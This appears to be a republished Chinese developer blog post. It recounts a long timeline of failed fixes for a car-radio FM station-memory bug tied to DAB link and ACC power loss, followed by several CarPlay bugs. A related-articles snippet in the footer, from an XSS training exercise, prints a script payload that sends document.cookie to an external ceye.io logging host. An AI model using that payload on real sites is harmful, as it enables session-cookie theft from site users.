記錄我coding印象比較深刻的BUG

4778:我的BUG噩夢

問題描述:

DAB播放中關ACC掉電后開ACC,手動切到FM/AM(有時第一次切換出現問題/有時第二次切換出現問題),FM/AM不記憶關ACC前電臺或者FM/AM關ACC掉電后開ACC,手動切到DAB再回到FM/AM,FM/AM不記憶切換前的電臺

前提紀要:

1、車載系統上,有一個功能叫做DAB link功能,DAB link的功能是在DAB播放時,會提前讓FM后臺進行搜臺當前DAB電臺相關的FM電臺(在DAB link中,如果搜到MCU上報的電臺狀態,我們不去處理原來的FM列表),目的是為了讓當前DAB電臺在信號不好時,可以去切到FM按照要求搜索到的電臺;

2、收到MCU上報的電臺搜索狀態之后,我們會把FM的舊列表清除等待上報新的電臺;

3、用戶手動切到FM的時候,需要恢復FM最后播放的電臺(而不是后臺link搜索到的電臺)

4、此功能只針對FM,不針對AM,當從AM切到DAB時,他是不需要進行link的;

問題詳細過程:

1、從2024.1.17 被客戶發現,提出問題;

2、2024.1.20,被我的同事認為該BUG是設計如此,因為DAB link了,后臺進行搜臺,切換到FM時,SOC會下發stop,導致MCU停止搜臺,MCU停止搜臺了以后,就是會出現不記憶以前的電臺的情況;

3、2024.2.26,被客戶指派回,客戶回復,其他項目無此問題;

4、2024.3.8,同事處理,已解決; 于2024.3.15被客戶激活,驗證NG; 隨后此問題一直留存,沒有解決,客戶也沒有出貨了;

5、2025.2.25,由我解決,我和同事溝通,同事說已經處理過了,可以給客戶驗證一下; 于2025.3.10被客戶激活,驗證NG;

6、2025.3.20,由我主管進行處理,我主管說已經整合了這個修改,讓客戶驗證; 于2025.3.20被客戶激活,驗證NG;

7、2025.4.15 由我仔細分析,我回復給客戶,我們認為不是問題,回復了詳細描述

image-20250719172949761

8、2025.4.18,客戶不接受,和我們公司的另一位MCU主管溝通,認為是一個BUG;

9、2025.4.19 由我進行解決,我參考了其他項目組的做法,增加了一個dab sourcestop ,增加記憶標志位; 于2025.5.6被客戶激活,驗證NG;

10、2025.5.20,由我再次進行解決,我仔細分析log,發現在我們切去FM時,我們發送了記憶的電臺值,但MCU停止了,我增加了一個補發記憶值; 于2025.6.5被客戶激活,驗證NG;

image-20250719173243129

11、2025.6.16,由我再次進行解決,我仔細分析log,客戶NG的原因是FM->DAB->AM->DAB->FM,導致FM記憶的臺再進入DAB時會被清除,導致出現問題,增加了一個區分FM、AM的不同存臺(實際這一步已經多余,因為AM 不需要link,沒必要存臺) 于2025.6.27被客戶激活,驗證NG;

image-20250719173514680

12、2025.7.3,由我再次進行解決,我仔細分析log,發現客戶又找到了新手法,ACC掉電后,會把我們這個臨時變量的值進行清除,我需要把電臺值放在flash進行保存 于2025.7.10被客戶激活,驗證NG;

image-20250719173640600

file-read-116747

13、2025.7.18,再次分析log,發現DAB切到FM的時候,觸發了AM Link 導致出現了問題;即我之前提到的,AM根本不需要link;

image-20250719173815143

未完待續,持續更新....

CarPlay相關BUG

1.無線CarPlay連接,手機拿遠,wifi遠距離斷開,回到車機附近后,需要進行回連;

2.無線CarPlay連接上后,概率出現無ID3信息問題,無專輯圖片問題;

3.無線CarPlay連接,概率出現虛連,AP層只收到了attached的事件,但是沒有收到CarPlay Session建立成功;導致現象是CarPlay圖標高亮了,但一直點擊不進去CP畫面,過30秒左右之后才會收到Detached事件;

4.CarPlay Facets問題:在收音頁面播放收音,手機無線CarPlay連接,手機打開CarPlay Test APP,反復播放(Audio/Clicks)聲音,出現重啟問題;

凌陽處理,問題原因:在record流程控制邏輯有死鎖問題,如最后debug中看到卡住在writeDone的mutex,修改死鎖問題;

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/90182.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/90182.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/90182.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Kubernetes集群中Istio mTLS握手失敗問題排查與解決方案

Kubernetes集群中Istio mTLS握手失敗問題排查與解決方案 在微服務架構中,Istio 提供了基于 Envoy 的服務網格能力,其中 mTLS(雙向 TLS)是確保服務間通信安全的重要機制。但在生產環境中,開發者常常會遇到 mTLS 握手失敗…

antd+react+可輸入的下拉選擇組件

該組件是一個可輸入的下拉選擇組件,支持從預設選項中選擇或手動輸入自定義值。組件基于 React 和 Ant Design 實現,具有良好的交互體驗和靈活的配置選項。 🧠 核心邏輯分析 1. 狀態管理 const [isInput, setIsInput] useState(false); con…

React 面試題庫

openAI React 面試題庫 以下題庫按模塊分類(React 架構與運行機制、核心 API、Diff 算法與事件機制、Fiber 架構與調度、并發模式與過渡、生命周期及新版生命周期對照、綜合源碼題、擴展專題、React 與 Vue 對比),并按難度(初級…

查看兩個tv and 手機模擬器的ip

要查看 Android 模擬器 的 IP 地址,你可以使用 ADB shell 命令來獲取。下面是詳細步驟:步驟 1:查看已連接的模擬器首先,確保你連接的模擬器已經啟動并且連接到 ADB。你可以運行以下命令來查看已連接的設備:adb devices…

從零到一:用C語言構建貪吃蛇(一)- 基礎框架與數據結構

資料合集下載鏈接: ??https://pan.quark.cn/s/472bbdfcd014? 第一步:繪制游戲世界 - 定義地圖邊界 任何游戲都需要一個舞臺。在貪吃蛇中,這個舞臺就是一個有明確邊界的矩形地圖。 1. 確定尺寸 根據筆記,我們首先要確定地圖的尺寸。使用宏定義(??#define??)是…

AWS RDS 排查性能問題

AWS RDS 排查數據庫問題 1.查看當前橫在執行的SQL select id,user,time,left(info,100) from information_schema.processlist where time>0 and info is not null order by time desc ;2.AWS RDS 查看性能詳情查看 Top SQL,AAS最高的幾個sql,然后看這…

Baumer工業相機堡盟工業相機如何通過YoloV8深度學習模型實現持械檢測(C#代碼,UI界面版)

Baumer工業相機堡盟工業相機如何通過YoloV8深度學習模型實現持械檢測(C#代碼,UI界面版)工業相機使用YoloV8模型實現持械檢測工業相機通過YoloV8模型實現持械檢測的技術背景在相機SDK中獲取圖像轉換圖像的代碼分析工業相機圖像轉換Bitmap圖像格…

在 WPF 啟動界面中心加載 GIF 動圖

在 WPF 啟動界面中心加載 GIF 動圖 在 WPF 啟動界面中心加載 GIF 動圖可以通過多種方式實現。下面我將提供一個完整的解決方案,包括使用第三方庫和純 WPF 實現兩種方法。 方法一:使用 WpfAnimatedGif 庫(推薦) 這是最簡單可靠的方…

Vue前端路由從入門到精通

目錄 第1章:路由的本質與Vue Router的魅力 1.1 什么是前端路由? 1.2 為什么選擇Vue Router? 1.3 快速上手:安裝與基本配置 1.4 一個小實踐:動態歡迎頁 第2章:路由配置的進階玩法 2.1 命名路由:給路由取個名字 2.2 動態路由的深度挖掘 2.3 嵌套路由:頁面中的頁面…

【Python】SQLAlchemy實現upsert

文章目錄? 通用思路1. 使用 merge() 方法(適用于簡單場景)2. 使用數據庫特定的 UPSERT 功能(推薦用于性能和并發安全)🟢 PostgreSQL: 使用 on_conflict_do_update🟡 MySQL: 使用 ON DUPLICATE KEY UPDATE&…

快速入門SwiftUI

SwiftUI的入門難度稍微有點高,但對于比較熟悉Swift的UIKit老手來說陣痛期大概1周以內,兩周內能達到UIkit的開發效率,個人總結快速入門路徑如下: 第一步 周期:1天 操作:閱讀蘋果官方demo 目的:…

【n8n教程筆記——工作流Workflow】文本課程(第一階段)——1、導航編輯器界面(Navigating the editor UI)介紹

https://docs.n8n.io/courses/ 文章目錄Navigating the Editor UIGetting startedEditor UI settingsLeft-side panelTop barCanvasNodesFinding nodesAdding nodesNode buttonsSummaryNavigating the Editor UI In this lesson you will learn how to navigate the Editor UI…

【Altium Designer2025】電子設計自動化(EDA)軟件——Altium Designer25版保姆級下載安裝詳細圖文教程(附安裝包)

今天給大家帶來精心編寫的Altium Designer2025版下載安裝全流程圖文指南,涵蓋從系統準備到安裝使用的完整過程。 教程嚴格遵循零廣告、純工具向原則,手把手教你如何正確安裝并配置好這款強大的軟件,讓你快速進入電路設計的世界! …

智象科技賦能金融、證券行業 IT 運維

一、金融、證券行業 IT 運維現狀剖析 金融、證券行業 IT 系統架構極其復雜,業務對時效性和連續性的要求近乎苛刻,同時安全監管嚴格,這些特點共同催生了諸多運維痛點。 系統架構復雜 :IT 系統包含多個業務系統、數據平臺和網絡架構…

微信小程序服務端快速對接指南(java版)

背景說明 本文檔旨在描述服務端在開發微信小程序時需要對接的小程序接口,以簡要的方式描述對接流程、接口文檔、使用場景。有些接口需要前后端配合,本文主要描述后端接口,對于前端僅輕輕點過。開發語言為Java,但是對接的思路跟語言沒有關系,應該不盡相同; 小程序上手路線…

微信小程序入門實例_____從零開始 開發一個“旅行清單 ”微信小程序

前面的博文中。我們陸續學習與開發了記賬等一些實用實用小程序的開發過程,今天來打造一個適合出行場景的工具 ——“旅行清單小程序”。無論是短途游玩還是長途旅行,它都能幫你梳理需要攜帶的物品,避免遺漏。下面就跟著步驟,一步步…

MySQL主從同步集群(Docker搭建)

以下筆記都是基于黑馬程序員的面試題寫的: Mysql定位慢查詢-CSDN博客 Mysql索引-CSDN博客 MySQL事物相關-CSDN博客 MySQL主從同步集群(Docker搭建)-CSDN博客 MySQL相關面試問題總結-CSDN博客 主從同步(Master-Slave Replicat…

NISP-PTE基礎實操——XSS

pteXSS模擬1 <script> var img document.createElement("img");img.src"http://xxxxx.ceye.io/log?"escape(document.coo kie);document.body.appendChild(img); </script> 重放加Cookie頭 pteXSS模擬2 <script type"text/javasc…

基于網絡爬蟲的在線醫療咨詢數據爬取與醫療服務分析系統,技術采用django+樸素貝葉斯算法+boostrap+echart可視化

摘要 為了發揮互聯網醫療問詢服務平臺在客觀衡量醫療服務質量、進一步分析和挖掘網民評論數據方面的作用&#xff0c;本文完成了互聯網醫療問詢數據抓取與醫療服務質量服務分析平臺的主要模塊應用&#xff0c;如用戶登錄注冊、醫療服務質量數據分析與信息可視化以及用戶情緒識別…

【備忘錄】Ubuntu 配置 NFS

安裝 NFSsudo apt-get install nfs-kernel-server rpcbind啟動 NFSsudo systemctl start nfs-server查看 NFSsudo service nfs-server status